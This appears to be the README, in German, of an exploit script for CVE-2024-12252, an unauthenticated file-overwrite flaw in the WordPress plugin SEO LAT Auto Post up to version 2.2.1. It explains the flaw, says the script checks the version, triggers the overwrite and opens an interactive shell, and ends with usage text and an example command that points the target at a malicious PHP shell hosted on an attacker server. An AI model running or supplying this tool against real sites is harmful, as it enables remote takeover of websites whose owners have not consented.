nxploited/cve-2024-12252SEO LAT Auto Post <= 2.2.1 - Fehlende Autorisierung zum Überschreiben/Hochladen von Dateien (Remote-Codeausführung)
Das SEO-LAT-Auto-Post-Plugin für WordPress ist anfällig für Dateiüberschreibung aufgrund einer fehlenden Berechtigungsprüfung bei der remote_update-AJAX-Aktion in allen Versionen bis einschließlich 2.2.1. Dadurch können nicht authentifizierte Angreifer die Datei seo-beginner-auto-post.php überschreiben, was zur Remote-Codeausführung ausgenutzt werden kann.
Dieses Skript nutzt die Schwachstelle im SEO-LAT-Auto-Post-Plugin aus, um durch Überschreiben der Datei seo-beginner-auto-post.php Remote-Codeausführung zu erreichen. Das Skript automatisiert den Prozess der Überprüfung der Plugin-Version, des Auslösens des Exploits und der Bereitstellung einer interaktiven Shell zum Ausführen von Befehlen.
usage: CVE-2024-12252.py [-h] -u URL --attack-url ATTACK_URL
CVE-2024-12252 | SEO LAT Auto Post <= 2.2.1 - Remote Code Execution # by: By Nxploit | Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Target base URL (e.g., http://example.com/wordpress)
--attack-url ATTACK_URL
Direct URL to your malicious PHP shell
Führen Sie das Skript mit der Ziel-URL und der URL zu Ihrer schädlichen PHP-Shell aus:
python CVE-2024-12252.py -u http://example.com/wordpress --attack-url http://yourserver.com/shell.php